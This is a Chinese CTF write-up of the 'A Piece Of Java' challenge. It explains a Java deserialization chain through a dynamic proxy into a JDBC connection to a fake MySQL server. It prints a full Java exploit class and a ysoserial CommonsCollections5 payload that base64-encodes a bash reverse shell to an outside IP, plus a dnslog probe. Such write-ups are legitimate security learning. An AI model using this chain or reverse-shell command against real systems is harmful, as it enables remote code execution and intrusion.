一、题目分析
我是在BUUCTF上做的题,直接进入题目啥也没有,后来知道该题给了源码(不过buu没有给,直接去github上找)
用jd-gui
打开jar包,主要逻辑在BOOT-INF
目录中:
1.1 进入MainController.class
:
逻辑还是挺简单的:
/index
获取参数username、password
,将参数赋值给userinfo
对象,并将该对象序列化存储到Cookie的data中/hello
获得cookie中的data并反序列化,并调用info.getAllInfo(),将返回的数据显示到视图页面中的info
参数
hello.html
1.2 我的想法:
看完题目后,第一想法就是自己创建序列化字符串,传递给cookie中的data,这样就能反序列化我们构造的序列化字符串了
但是,随之而来有一个疑问,我该如何构造?构造过程中该调用谁呢?
发现好像并没有那么简单,简单看了眼WP,才发现自己真的太天真了
二、题目再分析
2.1 反序列化函数
这里反序列化使用的是SerialKiller类
,打开serialkiller.conf
发现是一个白名单:
也就是反序列化的目标收到了限制,只能是白名单中的包下的类才能反序列化
2.2 DatabaseInfo.class
与UserInfo.class
同目录下还存在DatabaseInfo.class
,其中也存在同样名称的方法:
并且connect()函数
中使用了jdbc连接mysql数据库,这里我们就可以构造恶意mysql服务端,使用jdbc进行反序列化
那么如何调用connect()函数?
2.3 InfoInvocationHandler.class
在gdufs
包中还存一个类InfoInvocationHandler.class
,实现了InvocationHandler接口
,显然是一个动态代理的时间处理器:
if判断中调用checkAllInfo()
,刚好满足DatabaseInfo()
中的条件:
这样就可以调用connect函数
2.3 整理
总的一个思路就出来了:
- MainController中的
info.getAllInfo()
—> - InfoInvocationHandler.class 的
invoke()
—> - DatabaseInfo.class 中的
connect()
—> - 构造恶意mysql服务端结合jdbc实现反序列化
三、解题过程
根据上面思路构造playload:
public class Exp {
public static void setFieldValue(Object obj, String fieldname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static String serialize(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try {
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
} catch (Exception e) {
e.printStackTrace();
return null;
}
return new String(Base64.getEncoder().encode(baos.toByteArray()));
}
public static Object unserialize(String base64data) throws Exception{
Object obj;
ByteArrayInputStream bain = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try(
ObjectInputStream oin = new ObjectInputStream(bain)){
obj = oin.readObject();
return obj;
}
}
public static void main(String[] args) throws Exception {
DatabaseInfo di = new DatabaseInfo();
di.setHost("124.222.69.8");
di.setPort("8090");
di.setUsername("123");
di.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
InfoInvocationHandler iih = new InfoInvocationHandler(di);
Info info = (Info) Proxy.newProxyInstance(di.getClass().getClassLoader(), di.getClass().getInterfaces(),iih);
//info.getAllInfo(); //这样就可以调用了,但我我们需要让他自己调用
String playload=serialize(info);
System.out.print(playload);
Info info1 = (Info) unserialize(playload);
info1.getAllInfo();
}
}
这样我们在vps上启动一个假的Mysql服务器,完成MySQL JDBC客户端Java反序列化漏洞利用
可是vps上开启mysql服务器后并在靶机上发送playload,mysql服务器并没有反应
也不知道是什么原因
终于找到原因了:上述运行的java程序,其中反序列化的一些类并没有放在正确的目录下(我一开始都是放在同一个目录下的)
更改后,创建正确的包,并把对应的类放进去:
接下来使用MySQL Fake Server
工具:
然后测试一下playload是否有效:
修改username
:
di.setUsername("yso_URLDNS_http://i00r5g.dnslog.cn");
然后发送playload:
测试成功然后反弹shell:
di.setUsername("yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoJTIwLWklMjAlM0UlMjYlMjAvZGV2L3RjcC8xMjQuMjIyLjY5LjgvNDkxNjAlMjAwJTNFJTI2MQ==}|{base64,-d}|{bash,-i}");
服务端成功响应,但是并没有监听到。。。
为什么利用cc5(CommonsCollections5)?
根据web应用依赖来,翻看
/Users/osword/.m2/repository/org/nibblesec/serialkiller/0.4/serialkiller-0.4.pom
发现存在cc3.2.1依赖。可以直接利用CommonsCollections5直接打(PS:因为cc5 利用BadAttributeValueExpException
符合jdk8环境
四、总结
整个做下来还是一知半解,对于Jdbc、MySQL Fake Sever工具 和 cc5 等一些知识的原理或使用都需要理解才行
- 本文链接:http://siii0.github.io/[%E7%BE%8A%E5%9F%8E%E6%9D%AF-2020]A-Piece-Of-Java/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。